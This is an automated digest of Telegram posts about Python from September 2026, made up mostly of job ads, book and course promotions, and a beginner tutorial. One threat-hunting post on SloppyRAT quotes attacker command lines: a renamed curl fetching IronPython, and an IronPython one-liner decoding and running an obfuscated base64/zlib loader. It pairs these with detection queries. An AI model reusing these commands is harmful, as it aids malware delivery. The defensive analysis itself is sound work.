What Telegram channels wrote about Python in September 2026: 805 posts from 314 channels, collected automatically from public Telegram channels.
Парсим ЛЮБОЙ бизнес из Гугл карт и зарабатываем на данных! // #Видео
Разбираем работу парсера и учимся парсить гугл карты с помощью Python. Скрипт умеет автоматически собирать данные компаний: названия, адреса, телефоны, сайты, рейтинги, отзывы и другую полезную информацию.
▪️Перейти к просмотру [03:57]
Python Expert | Программирование
Если бы у меня было 6 месяцев, чтобы войти в DevOps, я бы больше не смотрел ни одного видео в духе «дорожная карта DevOps».
Я бы делал так:
1. Linux и сети Linux, Bash, SSH, TCP/IP, DNS, HTTP
2. Git и Python Git, GitHub, Python, API, автоматизация
3. Docker Контейнеры, образы, реестры, Compose, сети
4. Kubernetes Pods, deployments, services, ingress, Helm, RBAC
5. Облака AWS/Azure, IAM, VPC, вычисления, хранилища, балансировщики нагрузки
6. Инфраструктура как код и CI/CD Terraform, Ansible, GitHub Actions, Jenkins, Argo CD
7. Наблюдаемость Prometheus, Grafana, OpenTelemetry, логи, оповещения
8. Практика Развернуть настоящее приложение в Kubernetes. Автоматизировать всё. Настроить мониторинг. Сломать. Починить. Задокументировать.
Уроки учат DevOps.
Продакшен учит быть DevOps-инженером.
👉 @cybersecinform
Senior Backend Engineer (Event-Driven/Data Extraction Ecosystem) в Акцент-ГРУПП
🌍 Адреса: Ірпінь, Словянська 33/1
Умови - Повна зайнятість - Робота на дому
Вимоги - Django - MongoDB - MySQL - PostgreSQL - Програмування на Python
Дізнатися детальніше
Відгукнутись на вакансію
#Ірпінь #python #дистанційнаробота #python #backend
📕 Python for Excel: A Modern Environment for Automation and Data Analysis (2026)
Практическое руководство по автоматизации Excel и анализу данных с помощью Python — от встроенной интеграции Microsoft до xlwings и OpenPyXL.
❓ Что внутри:
— Основы Python для работы с Excel — Jupyter Notebook и Visual Studio Code — Сбор, очистка и анализ данных с pandas — Python in Excel и расширенная аналитика — Работа с Excel-файлами через xlwings и OpenPyXL — Автоматизация Excel с Python — Использование xlwings Lite — Интеграция Python с возможностями Excel и AI Copilot
Подойдёт тем, кто хочет разобраться:
✅ Как заменить VBA на современные Python-инструменты ✅ Как автоматизировать рутинные операции в Excel ✅ Как обрабатывать и анализировать данные ✅ Как создавать Excel-решения с помощью Python ✅ Как использовать pandas непосредственно в Excel
🔗 Скачать
🐸 Книги для программистов | Поддержать бустом
#senior #300k #удаленка
GO Digital Senior Python Developer (FastAPI, Kafka) от 200 000 до 350 000 ₽ на руки Опыт работы: более 6 лет Формат работы: удалённо
☑️ Чем предстоит заниматься -Разрабатывать новый функционал в существующих сервисах -Проектировать и создавать новые backend-сервисы с нуля -Участвовать в проработке архитектуры и технических решений -Писать unit- и интеграционные тесты -Улучшать наблюдаемость сервисов (логи, метрики, трейсинг)
☑️ Что для нас важно -Коммерческий опыт разработки на Python — от 6 лет -Опыт разработки backend-сервисов на FastAPI или Litestar (Starlite) -Опыт работы с Kafka и/или Redis Pub/Sub -Уверенная работа с PostgreSQL -Опыт работы с event-driven архитектурой -Уверенное владение Git, Docker, CI/CD
Откликнуться
⚡️Data Science в 2026 году: что нужно знать, чтобы дойти от первой модели до первого оффера?
Большинство новичков совершают одну и ту же ошибку: пытаются выучить весь Data Science сразу.
Python, математика, статистика, ML, Deep Learning, MLOps… А потом открывают вакансию и обнаруживают ещё примерно 15 технологий, о которых вчера даже не слышали. В итоге можно несколько месяцев учиться, собирать учебные модели и всё равно не понимать, что именно нужно показать работодателю, чтобы получить первый оффер 🫠
Мария Жарова — ML-инженер Wildberries, экс-Альфа-Банк и Сбер, преподаватель магистратур МФТИ, ТГУ и МИФИ — проведёт бесплатный эфир «ML-инженер в 2026 году: от первой модели до первого оффера» и покажет профессию изнутри на реальной ML-задаче.
Что будет на эфире: 🔶На живом примере соберём модель, которая определяет тональность отзывов: подготовим данные, превратим текст в числа, обучим алгоритм и проверим, где он ошибается; 🔶Разберём полный цикл ML-проекта — от задачи бизнеса и сырых данных до готовой модели; 🔶Разберёмся, чем отличаются Data Scientist, ML Engineer, Deep Learning и MLOps и чем занимается каждый специалист; 🔶 Посмотрим, какие знания и навыки действительно нужны новичку, а что пока можно не пытаться выучить за одну ночь; 🔶Разберём реальные требования в вакансиях и поймём, какие проекты стоит добавить в портфолио; 🔶Обсудим, как перейти от обучения к первым собеседованиям и не застрять в бесконечном «ещё немного поучусь и начну искать работу».
Дополнительно на эфире разберем реальные примеры резюме и портфолио кандидатов, которые смогли пройти отбор.
🎁 ПОЛУЧИТЕ 3 КУРСА (PYTHON, SQL, PANDAS) В ПОДАРОК ЗА РЕГИСТРАЦИЮ НА ЭФИР!
Эти курсы - база для того чтобы вкатиться в профессию!
Если вы сейчас пытаетесь разобраться в Data Science и не очень понимаете, что учить, какие проекты делать и когда уже можно идти на собеседования, эфир поможет собрать всё это в одну понятную картину.
🛎️Регистрируйтесь, эфир совсем скоро!
⚡️Data Science в 2026 году: что нужно знать, чтобы дойти от первой модели до первого оффера?
Большинство новичков совершают одну и ту же ошибку: пытаются выучить весь Data Science сразу.
Python, математика, статистика, ML, Deep Learning, MLOps… А потом открывают вакансию и обнаруживают ещё примерно 15 технологий, о которых вчера даже не слышали. В итоге можно несколько месяцев учиться, собирать учебные модели и всё равно не понимать, что именно нужно показать работодателю, чтобы получить первый оффер 🫠
Мария Жарова — ML-инженер Wildberries, экс-Альфа-Банк и Сбер, преподаватель магистратур МФТИ, ТГУ и МИФИ — проведёт бесплатный эфир «ML-инженер в 2026 году: от первой модели до первого оффера» и покажет профессию изнутри на реальной ML-задаче.
Что будет на эфире: 🔶На живом примере соберём модель, которая определяет тональность отзывов: подготовим данные, превратим текст в числа, обучим алгоритм и проверим, где он ошибается; 🔶Разберём полный цикл ML-проекта — от задачи бизнеса и сырых данных до готовой модели; 🔶Разберёмся, чем отличаются Data Scientist, ML Engineer, Deep Learning и MLOps и чем занимается каждый специалист; 🔶 Посмотрим, какие знания и навыки действительно нужны новичку, а что пока можно не пытаться выучить за одну ночь; 🔶Разберём реальные требования в вакансиях и поймём, какие проекты стоит добавить в портфолио; 🔶Обсудим, как перейти от обучения к первым собеседованиям и не застрять в бесконечном «ещё немного поучусь и начну искать работу».
Дополнительно на эфире разберем реальные примеры резюме и портфолио кандидатов, которые смогли пройти отбор.
🎁 ПОЛУЧИТЕ 3 КУРСА (PYTHON, SQL, PANDAS) В ПОДАРОК ЗА РЕГИСТРАЦИЮ НА ЭФИР!
Эти курсы - база для того чтобы вкатиться в профессию!
Если вы сейчас пытаетесь разобраться в Data Science и не очень понимаете, что учить, какие проекты делать и когда уже можно идти на собеседования, эфир поможет собрать всё это в одну понятную картину.
🛎️Регистрируйтесь, эфир совсем скоро!
#senior #удаленка
ОФФСТЕЙДЖ МЕДИА Senior Python Engineer Опыт работы: более 6 лет Формат работы: удалённо, свободный график Английский: B2
☑️ Обязанности -Разработка масштабируемых бэкенд-сервисов для получения, обработки и хранения данных из сторонних API -Реализация потоковых ETL-пайплайнов для обработки высоконагруженных данных -Разработка и оптимизация схем баз данных для хранения и эффективного поиска большого объёма данных -Обеспечение отказоустойчивости и высокой доступности системы -Разработка и поддержка REST/gRPC API для фронтенда и внешних интеграций
☑️ Требования -От 5 лет опыта построения бэкенда в крупных сервисах -Опыт использования Python в production-коде -Понимание работы с базами данных (профилирование/оптимизация запросов) -Знание архитектур обработки данных в реальном времени -Опыт проектирования API и архитектурных решений -Умение писать надёжный, читаемый и тестируемый код
Откликнуться
Python Job в Telegram | в VK | в Max
⚡ Почему аналитики данных так востребованы и как стать аналитиком в 2026 году?
Большинство новичков совершают одну и ту же ошибку: учат всё подряд. SQL, Python, Power BI, статистика… Но работодатели оценивают кандидатов не только по базовым навыкам, но и по другим критериям. Из-за этого многие месяцами рассылают резюме и получают только отказы или полное игнорирование.
Андрон Алексанян - аналитик с опытом 9 лет и СEO Симулейтив проведет бесплатный урок и покажет, как выглядит путь к первой работе аналитиком в 2026 году.
Вы узнаете: 🔶Какие навыки действительно проверяют на собеседованиях; 🔶Что должно быть в портфолио, чтобы его открывали работодатели; 🔶Почему многие резюме аналитиков сразу отправляются в отказ; 🔶Как искать работу без коммерческого опыта; 🔶Какие преимущества есть у кандидатов после 30, 40 и даже 50 лет; 🔶Какие ошибки чаще всего мешают получить первый оффер.
Дополнительно на эфире разберем реальные примеры резюме и портфолио кандидатов, которые смогли пройти отбор.
🎁 ПОЛУЧИТЕ 3 КУРСА (PYTHON, SQL, PANDAS) В ПОДАРОК ЗА РЕГИСТРАЦИЮ НА ЭФИР!
Эти курсы - база для того чтобы вкатиться в профессию!
Если вы хотите войти в аналитику и перестать тратить время на лишнее обучение — этот урок поможет понять, на чем действительно стоит сосредоточиться.
🛎️Регистрируйтесь, эфир совсем скоро!
tldr: ML Tech Lead (LLM-агенты), 700к гросс, удаленка по миру
Контекст Лучи — онлайн-страховая (ДМС, >1 млн застрахованных) со своей телемед-клиникой. Строим ИИ-медицину: агентную систему, которая снимает с наших врачей и операторов рутину — сбор анамнеза и контекста по записи, саммаризацию медкарты, драфт заключения, проверку назначений. Команда (3 ML, 2 BE, SA + QA) уже собрана — нужен техлид команды: архитектура, ключевые технические решения, код-ревью, доведение системы до прода. People management (найм, 1:1, перформанс-ревью) в роль не входит, но можно включить при желании.
Задачи Ближайшие 3 мес: довести пилот сбора анамнеза до прода в клинике — архитектура агента (LangGraph), оркестрация и управление контекстом, evaluation-контур с разметкой врачей, метрики качества и стоимости на запрос. 6–12 мес: расширить систему на саммаризацию медкарт и драфт заключений, поднять контур дообучения на данных клиники (SFT/LoRA), вывести решение на масштаб всей клиники с контролем экономики.
Что нужно — 4+ лет в ML, есть выведенные в прод LLM-решения под реальной нагрузкой; — RAG, агентные архитектуры, MCP; дообучение (LoRA/QLoRA/SFT); — Python, FastAPI, Docker/k8s, Kafka/RabbitMQ; Плюс: MedTech, NLP на медтекстах, vLLM/SGLang в проде.
Стек: Python 3.13, FastAPI, PostgreSQL, LangGraph, MLflow, Kafka, k8s.
Формат: фултайм, трудовой договор / ГПХ, российское ЮЛ. Удалёнка из любой точки мира или гибрид (офис — Москва, м. Савёловская). Вилка: 600–700 тыс. руб. gross + ДМС Лучи себе и детям, 28 дней отпуска.
Писать: Артем Дерут, @artemderut
Предварительная подготовка данных в Python. Том 1
Автор: Груздев Артем Год издания: 2023
#python #ru
Скачать книгу
🤖 Яку IT-професію обрати підлітку у 14–18 років? Поки ваша дитина ще навчається у школі, вона вже може почати опановувати реальну IT-професію та сучасні AI-інструменти.
У ITSTEP у Кам’янському відкрито набір одразу на 3 професійні напрями:
💻 AI Інженер програмного забезпечення Програмування, створення сайтів і застосунків, Python, бази даних та використання штучного інтелекту в розробці.
🎨 Сучасний AI-Based Дизайн Графічний дизайн, UI/UX, 3D, анімація, відео та AI-інструменти для створення сучасного контенту.
🛡 Кібербезпека + AI Захист інформації, мережі, Ethical Hacking, Python, аналіз кіберзагроз та застосування AI у кібербезпеці.
Навчання побудоване на практиці: підлітки створюють власні проєкти, формують портфоліо та вчаться використовувати ШІ як робочий інструмент, а не лише для генерації відповідей.
✅ Для підлітків 14–18 років ✅ Тривалість навчання — 3 роки ✅ Вступ без НМТ
⏰ Старт нових груп — 20–21 жовтня
Дайте дитині можливість ще до закінчення школи зрозуміти, який напрям їй підходить, і отримати навички, з якими можна розвиватися в IT: cutt.ly/VyxbCadP
📍 м. Кам’янське, просп. Свободи, 35А, 5 поверх
📞 (067) 533-46-28 📞 (073) 797-88-30 📞 (050) 380-18-38
📣 Начнём Python. Просто о сложном
Автор: Иванов С. С.
Книга предназначена для знакомства с программированием на Python и постепенного освоения его основных возможностей. Материал подаётся доступным языком, что помогает разобраться в базовых концепциях даже тем, кто только начинает свой путь в разработке.
В книге рассматриваются основы синтаксиса Python, переменные, типы данных, условия, циклы, функции и работа с данными.
— Практические примеры помогают закрепить теорию и научиться применять полученные знания при создании собственных программ.
🖥 Скачиваем здесь
🔥 Package Doctor - необычный security-сканер для Python-зависимостей
Он отвечает не только на вопрос «есть ли у пакета CVE?», а на более практичный:
если завтра в этой зависимости найдут уязвимость, вы реально под угрозой и есть ли вообще кому её исправлять?
Package Doctor оценивает сразу две вещи:
- находится ли библиотека на trust boundary: auth, загрузка файлов, десериализация, crypto, URL parsing, model loading и т.д. - есть ли у проекта реальная способность быстро выпустить фикс
Плюс инструмент:
- проверяет pinned-версии по advisory-базам - учитывает CISA KEV и EPSS - AST-парсит ваш код и показывает, где зависимость реально импортируется - отличает abandoned package от просто редко обновляемого - умеет работать как hook для Claude Code и блокировать подозрительную зависимость до pip install
Интересный подход: не засыпать разработчика сотнями CVE, а приоритизировать именно те зависимости, где одновременно есть экспозиция + слабая поддержка.
Автор отдельно рекомендует использовать его вместе с pip-audit, а не вместо него.
https://github.com/binuka200/package-doctor
@Python_Community_ru
Подборка вакансий для разработчиков:
🏢 Python-разработчик в Сбер Senior, г Москва
🏢 Java - разработчик в Сбер Senior, Москва
🏢 Аналитик-разработчик в команду ML- и AI-сценариев Поиска в Яндекс Москва, RU
🏢 Аналитик-разработчик в модерацию рекламы в Яндекс Senior, Москва
🚶♂️ Full-Stack AI Engineer в Яндекс Финтех Senior, Москва
🏢 Разработчик бэкенда в Yandex Storage в Яндекс Москва, RU
🏢 Linux Kernel Developer / Инженер-программист (сопровождение СХД) в YADRO
🏢 DevOps инженер для автоматизации тестирования (AI Hub Finance/DS) в Сбер Junior, Москва
🏢 Site Reliability Engineer (SRE) / Software Engineer в Т-Банк Middle, Нижний Новгород
🏢 Site Reliability Engineer в Т-Банк Middle, Красноярск
🏢 Ведущий инженер программист в Level Group C-level/Lead, Москва
🏢 Старший Go-разработчик, Интеграция с продавцами в Ozon Middle, Москва
🏢 Senior Java разработчик (Санкт-Петербург) в Альфа-Банк Middle, Москва
🏢 .Net разработчик в Т-Банк Middle, Воронеж
🏢 Старший разработчик Java в МТС Финтех Middle, Москва
🏢 Разработчик Python в Bell Integrator Junior, Москва
🏢 Инженер DevOps (middle) в МТС Финтех Middle, Москва
🏢 Senior Kotlin Backend Developer (сервис интеграции с ФНС) в Ventra Senior, Москва
🏢 Frontend-разработчик (AI) в Bell Integrator Senior, Москва
🏢 Team Lead C# (ForPeople) в Лаборатория Касперского Lead, Москва
🏢 Разработчик .Net в Банк ПСБ Москва
🏢 Frontend-разработчик (эксперт) в Лукойл Senior, Москва
🏢 Android-разработчик в команду MSDK — Работа в 2ГИС — Вакансии в 2ГИС Middle
🏢 Android-разработчик в МегаФон Middle, Можно удалённо
______________________
⚡ Сервисы Эйч:
Найти ментора Готовое резюме Сопровождение до оффера Все вакансии Трекер откликов Конструктор резюме Вопросы с собеседований Задачи с собеседований AI-Проверятор резюме Генератор сопроводительных
𝗧𝗼𝗽 𝟭𝟱 𝗣𝘆𝘁𝗵𝗼𝗻 𝗜𝗻𝘁𝗲𝗿𝘃𝗶𝗲𝘄 𝗤𝘂𝗲𝘀𝘁𝗶𝗼𝗻𝘀 𝗬𝗼𝘂 𝗠𝗨𝗦𝗧 𝗞𝗻𝗼𝘄! 🔥
Preparing for a Python Developer or Data Analyst interview?
Strengthen your fundamentals with these essential interview topics.
🎯 Perfect for Students • Freshers • Python Learners • Data Analyst Aspirants
🔗 𝗚𝗲𝘁 𝘁𝗵𝗲 𝗜𝗻𝘁𝗲𝗿𝘃𝗶𝗲𝘄 𝗤𝘂𝗲𝘀𝘁𝗶𝗼𝗻𝘀 👇
https://pdlink.in/3TAUwk7
📌Save this for your next interview and share it with a friend!
𝗧𝗼𝗽 𝟭𝟱 𝗣𝘆𝘁𝗵𝗼𝗻 𝗜𝗻𝘁𝗲𝗿𝘃𝗶𝗲𝘄 𝗤𝘂𝗲𝘀𝘁𝗶𝗼𝗻𝘀 𝗬𝗼𝘂 𝗠𝗨𝗦𝗧 𝗞𝗻𝗼𝘄! 🔥
Preparing for a Python Developer or Data Analyst interview?
Strengthen your fundamentals with these essential interview topics.
🎯 Perfect for Students • Freshers • Python Learners • Data Analyst Aspirants
🔗 𝗚𝗲𝘁 𝘁𝗵𝗲 𝗜𝗻𝘁𝗲𝗿𝘃𝗶𝗲𝘄 𝗤𝘂𝗲𝘀𝘁𝗶𝗼𝗻𝘀 👇
https://pdlink.in/3TAUwk7
📌Save this for your next interview and share it with a friend!
⚡ Почему аналитики данных так востребованы и как стать аналитиком в 2026 году?
Большинство новичков совершают одну и ту же ошибку: учат всё подряд. SQL, Python, Power BI, статистика… Но работодатели оценивают кандидатов не только по базовым навыкам, но и по другим критериям. Из-за этого многие месяцами рассылают резюме и получают только отказы или полное игнорирование.
Андрон Алексанян - аналитик с опытом 9 лет и СEO Симулейтив проведет бесплатный урок и покажет, как выглядит путь к первой работе аналитиком в 2026 году.
Вы узнаете: 🔶Какие навыки действительно проверяют на собеседованиях; 🔶Что должно быть в портфолио, чтобы его открывали работодатели; 🔶Почему многие резюме аналитиков сразу отправляются в отказ; 🔶Как искать работу без коммерческого опыта; 🔶Какие преимущества есть у кандидатов после 30, 40 и даже 50 лет; 🔶Какие ошибки чаще всего мешают получить первый оффер.
Дополнительно на эфире разберем реальные примеры резюме и портфолио кандидатов, которые смогли пройти отбор.
🎁 ПОЛУЧИТЕ 3 КУРСА (PYTHON, SQL, PANDAS) В ПОДАРОК ЗА РЕГИСТРАЦИЮ НА ЭФИР!
Эти курсы - база для того чтобы вкатиться в профессию!
Если вы хотите войти в аналитику и перестать тратить время на лишнее обучение — этот урок поможет понять, на чем действительно стоит сосредоточиться.
🛎️Регистрируйтесь, эфир совсем скоро!
Python GUI with PyQt
Описание: Python GUI с PyQt — это бесценное руководство как для начинающих, так и для опытных программистов, которые хотят овладеть искусством создания визуально привлекательных и интерактивных графических пользовательских интерфейсов (GUI) для приложений на Python с использованием библиотеки PyQt5 и инструмента визуального компонования Qt Designer. В руководстве подробно и доступно для новичков изложены все основные концепции программирования графического интерфейса на PyQt5.
• Скачать книгу из архива
#Python
📚 Полка Разработчика
FastHTML - Build Web Apps in Pure Python! // #Видео
▪️Перейти к просмотру [25:50]
Python Expert | Программирование
Всем привет!
Как вы знаете, злоумышленники нередко используют различные интерпретаторы команд и сценариев на различных этапах жизненного цикла атаки. Сегодня мы посмотрим на не самый распространенный пример использования Python (T1059.006).
Чтобы сформировать гипотезы для проактивного поиска, заглянем в отчет Zscaler о SloppyRAT. Нас будет интересовать, посвященная Python. Во-первых, атакующие использовали переименованную копию curl.exe для загрузки IronPython с GitHub:
"C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip
В данном случае мы можем осуществлять поиск подозрительных загрузок IronPython с помощью cURL:
event_type: "processcreatewin"
AND
proc_file_originalfilename: "curl.exe"
AND
cmdline: *ironpython*
Далее атакующие использовали загруженный интерпретатор для доставки CastleLoader, и далее - CastleRAT:
"C:\Users\[redacted]\AppData\Local\IronPython.3.4.2\net462\31706105999761.exe" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJytEtLwAUhbMW/A8FF0Bq1aeEirhpeALi4o7qw1ixdbWPLQq/eege/iJVgN4uIjmfuaM2earkVRNBYPYleci4E4Eh1kL7FiTgTU2JvYov4TPtoDfFEzEUu+mJHHIiVscJee/rCvEuUokFPjq69YXLJzv7StZjd/Y70SYe5jxtLl6CncL09xtBzi2fW26c+ITfkPSVX0luQH/FeoDd3M4P2Jzdv7s6x/41ndfSUzHwhluFByjNB828azi+souev/OZ874d8LjPL/NotmDwj+w7y88+6yh72Lkm9AzpuxcM9Q8wlX0n0e')).decode('utf-32'))]"
В этот раз можно взглянуть на подозрительные запуски IronPython с декодированием base64:
event_type: "processcreatewin"
AND
proc_file_productname: "ironpython"
AND
cmdline: "base64.b64decode"
В целом, IronPython едва ли будет использоваться среднестатистическим пользователем, следовательно, появление подобного интерпретатора на хосте уже можно считать подозрительным событием.
Скоро увидимся!
English version
Курс «Анализ данных»
#курс #Python #данные
Python и Excel в связке: обработка данных, визуализация, матстатистика и A/B-тесты. Полезен не только аналитикам — разработчику тоже пригодится понимать, почему «выросло на 20%» иногда ничего не значит.
Смотреть курс
LH | IT Курсы | OSINT | AI
In the previous post, we learned how to take input from users and display output. One important thing we discovered was that input() always returns a string. So, how do we convert one data type into another? That's where Type Casting comes in.
📖 Phase 1: Programming Fundamentals
📌 Topic 7: Type Casting
Type Casting is the process of converting a value from one data type to another.
For example, you may receive a number as a string from the user, but you need to perform mathematical operations on it. In such cases, type casting is required.
Why Do We Need Type Casting? Type casting helps us: • Convert user input into numbers. • Perform mathematical calculations. • Change data from one type to another. • Prevent type-related errors.
Types of Type Casting There are two types of type casting in Python: • Implicit Type Casting (Automatic) • Explicit Type Casting (Manual)
1. Implicit Type Casting Python automatically converts one data type into another when it is safe to do so.
Example:
num = 10 price = 5.5
result = num + price
print(result) print(type(result))
Output:
15.5 <class 'float'>
Python automatically converts the integer into a float.
2. Explicit Type Casting In explicit type casting, the programmer manually converts the data type using built-in functions.
Some commonly used conversion functions are: • int() → Converts to Integer • float() → Converts to Float • str() → Converts to String • bool() → Converts to Boolean
Converting String to Integer
age = "25" age = int(age)
print(age) print(type(age))
Output:
25 <class 'int'>
Converting Integer to Float
marks = 90 marks = float(marks)
print(marks)
Output:
90.0
Converting Number to String
num = 100 text = str(num)
print(text) print(type(text))
Output:
100 <class 'str'>
Converting Values to Boolean
print(bool(1)) print(bool(0)) print(bool("")) print(bool("Python"))
Output:
True False False True
Common Beginner Mistakes ❌ Trying to convert invalid values.
Example:
num = int("Hello")
This will produce an error because "Hello" is not a valid integer.
❌ Forgetting to convert user input before performing calculations.
Best Practices ✅ Convert data only when necessary. ✅ Validate user input before converting. ✅ Use the correct conversion function for the required data type.
Key Takeaways • Type Casting means converting one data type into another. • Python supports both Implicit and Explicit type casting. • int(), float(), str(), and bool() are the most commonly used conversion functions. • Always convert user input before performing mathematical operations. • Understanding type casting helps you write error-free and efficient programs.
➡️ Double Tap ❤️ For More
Machine Learning with Python pinned «Get Up to 500MB of Residential Proxy Traffic for Your Python Projects 🐍 Building a web scraper with Python? ThorData helps developers collect public web data while handling proxy rotation, geo-targeting, and access restrictions. ✅ Residential IPs across…»
